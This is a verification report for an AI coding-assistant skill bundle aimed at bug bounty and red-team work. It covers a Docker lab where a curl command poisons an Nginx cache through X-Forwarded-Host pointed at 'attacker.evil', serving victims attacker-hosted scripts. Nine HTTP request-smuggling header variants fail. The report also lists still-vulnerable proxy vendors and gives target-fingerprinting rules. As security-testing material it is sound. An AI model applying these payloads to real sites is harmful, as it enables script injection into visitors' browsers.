Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

8.1 KB
Raw Blame

Verification — Phase 2H: cache poisoning + HTTP smuggling

Two-server lab (Nginx 1.27 proxy + gunicorn/Flask origin) via Docker. Cache poisoning succeeded; HTTP smuggling didn't — and the failure mode is exactly the kind of honest negative that updates the skill content.

Target

docker-compose.yml building Nginx 1.27 (front-end with proxy_cache) + gunicorn-served Flask (origin reflecting X-Forwarded-Host).

Shipped at docs/verification/phase2h-lab/.

mkdir -p ~/phase2h-lab && cd ~/phase2h-lab
# Copy the docker-compose.yml + origin/ + nginx/ from docs/verification/phase2h-lab/
docker-compose up -d --build
# Front-end on :58016, origin on :58015
Endpoint Bug Skill
GET / (cached by Nginx) X-Forwarded-Host reflected into <link>/<script> URLs; cache key omits headers hunt-cache-poison
Raw TCP to Nginx :80 CL.TE / TE.CL / obfuscation variants hunt-http-smuggling

Test 19 — cache poisoning via X-Forwarded-Host (hunt-cache-poison)

Initial prompt:

"Nginx is fronting this app and the page loads JS from a <script src=https://...> tag that includes the X-Forwarded-Host header value. Can I poison the cache?"

Skill that auto-triggers: hunt-cache-poison — description includes "unkeyed inputs (X-Forwarded-Host, X-Original-URL, custom headers)".

Technique from hunt-cache-poison:

X-Forwarded-Host: attacker.com (poisons script src URLs) → response gets cached → all subsequent visitors served the poisoned page.

Live attack

# 1. Attacker hits a fresh URL with X-Forwarded-Host pointing to attacker domain.
#    Use a cache-buster query so we're not served an existing cache entry.
URL="http://localhost:58016/?cb=$(date +%s%N)"

curl -i -H "X-Forwarded-Host: attacker.evil" "$URL"

Attacker response:

X-Cache-Status: MISS
...
  <link rel="stylesheet" href="https://attacker.evil/static/style.css">
  <h1>Welcome — assets load from attacker.evil</h1>

The origin reflected attacker.evil into the response. Nginx cached this response keyed by $scheme$request_method$host$request_uri only — NOT by X-Forwarded-Host.

Victim hit

# Victim makes a normal request (no special headers) to the same URL
curl -i "$URL"

Victim response:

X-Cache-Status: HIT
...
  <link rel="stylesheet" href="https://attacker.evil/static/style.css">
  <h1>Welcome — assets load from attacker.evil</h1>

X-Cache-Status: HIT — victim is served the poisoned response from the cache. The CSS / JS URLs now point at https://attacker.evil/. Victim's browser will fetch attacker-controlled assets.

Impact chain

  1. Attacker (single request) poisons the cache for the URL
  2. Cache TTL = 5 minutes (lab config) → 5 minutes of poisoned response served to every visitor of that URL
  3. Victim's browser fetches https://attacker.evil/static/app.js → attacker controls JS executed in the victim's page context (XSS via cache poisoning)

hunt-cache-poison's chain: cache poisoning + reflected unkeyed header → persistent XSS across all CDN-cached visitors. Verified.

Verdict

PASS — live cache poisoning + XSS chain. Exact technique from hunt-cache-poison. triage-validation 7-Question Gate passes all 7 — Critical.


Test 20 — HTTP smuggling on Nginx 1.27 (hunt-http-smuggling)

Initial prompt:

"Nginx in front of gunicorn — testing for CL.TE / TE.CL smuggling."

Skill that auto-triggers: hunt-http-smuggling — description includes "CL.TE, TE.CL, H2.CL, H2.TE", "obfuscation variants (space before colon, trailing space, lowercase, mixed-case)".

Probes from the skill

Eight payload variants tried, raw TCP to Nginx 1.27:

Variant Headers Result
Classic TE.CL Transfer-Encoding: chunked + Content-Length: 4 HTTP 400
Classic CL.TE Content-Length: 13 + Transfer-Encoding: chunked HTTP 400
Space before colon Transfer-Encoding : chunked HTTP 400
Trailing space Transfer-Encoding: chunked (trailing space) HTTP 400
Tab separator Transfer-Encoding:\tchunked HTTP 501
Lowercase value Transfer-Encoding: Chunked HTTP 400
Mixed-case header TrAnSFER-eNCODing: chunked HTTP 400
Double TE Transfer-Encoding: cow + Transfer-Encoding: chunked HTTP 400
X-prefix smuggle X-Transfer-Encoding: chunked + Transfer-Encoding: chunked HTTP 400

All 9 payloads rejected. Nginx 1.27 is RFC 9112 strict by default. When both Content-Length and Transfer-Encoding are present, the request is killed at the front-end with HTTP 400.

The tab-separator variant returned 501 Not Implemented — Nginx parses the encoding name \tchunked and rejects it as unknown rather than treating it as the same encoding as chunked. Either way, smuggling fails.

Verification finding: modern Nginx is HTTP-smuggling-hardened

Nginx >= 1.21 (and definitively 1.27) implements strict RFC 9112 parsing for Content-Length and Transfer-Encoding. The classic CL.TE / TE.CL / obfuscation variants documented in hunt-http-smuggling do not reproduce against the default Nginx configuration.

This does NOT invalidate the skill's payloads. Targets known to remain vulnerable to one or more variants:

Target ecosystem CL.TE TE.CL H2.CL H2.TE Status (2024-2026)
HAProxy ≤ 2.4 (older configs) ✓ ✓ — — Vulnerable, see CVE-2021-40346
AWS ALB + specific upstream partial partial ✓ ✓ Several disclosed-paid reports 2022-2024
Cloudflare → S3 / Lambda combos — — ✓ ✓ H2-downgrade attacks
Older F5 BIG-IP (TMM < 16) ✓ — — — Vendor advisories
Citrix ADC / NetScaler (older firmware) ✓ ✓ — — Disclosed in 2020-2022
Squid 3.x ✓ — — — Older deployments
Apache Traffic Server (older) ✓ ✓ ✓ ✓ PortSwigger research
Custom Python proxies (no RFC enforcement) ✓ ✓ — — Frequently vulnerable
Nginx 1.21+ NO NO partial (HTTP/2 ingress only) partial Hardened
Caddy 2.x NO NO — — Hardened
Envoy 1.20+ NO NO partial partial Hardened in most paths

Operator rule: before sinking time into CL/TE smuggling, fingerprint the front-end:

curl -sI https://target/ | grep -i "Server:"
# If: nginx/1.21+, caddy 2.x, envoy 1.20+ → CL/TE classic is dead
# If: HAProxy, AWS ALB, Cloudflare → run the matrix
# If: server header absent or unidentifiable → assume hardened until proven otherwise

The HTTP/2 downgrade attacks (H2.CL / H2.TE) remain viable against many CDN+origin chains in 2024-2026 because the CDN speaks HTTP/2 to the client but HTTP/1.1 to origin — and the downgrade can introduce CL/TE confusion. These require an HTTP/2 capable proxy at the front; hunt-http-smuggling should add H2-downgrade-specific probes for modern targets.


Skill content gap closed (hunt-http-smuggling)

Adding a Target-Suitability Matrix to hunt-http-smuggling so operators don't waste time on hardened Nginx/Caddy/Envoy and instead pivot to:

  1. H2.CL / H2.TE attacks against CDN+origin chains (the modern dominant vector)
  2. Legacy proxy fingerprints (HAProxy, Squid, F5, Citrix) where CL/TE classic still works
  3. Custom proxy implementations in less-scrutinized stacks

Summary — Phase 2H

# Test Skill Result
19 Cache poisoning via X-Forwarded-Host hunt-cache-poison PASS — victim served attacker's CSS/JS URLs from cache
20 HTTP smuggling on Nginx 1.27 hunt-http-smuggling Negative — Nginx hardened. Gap closed with target-suitability matrix.

Combined Phase 2 verification now: 24+ skills exercised. 9+ skill-content gaps catalogued and closed.

This is the second honest negative + content-update cycle in two phases (Phase 2G XXE + Phase 2H smuggling). Both produce updates that make the skill content more accurate for 2026 deployment realities.


Lab cleanup

docker-compose down

Containers ephemeral — no persistence needed.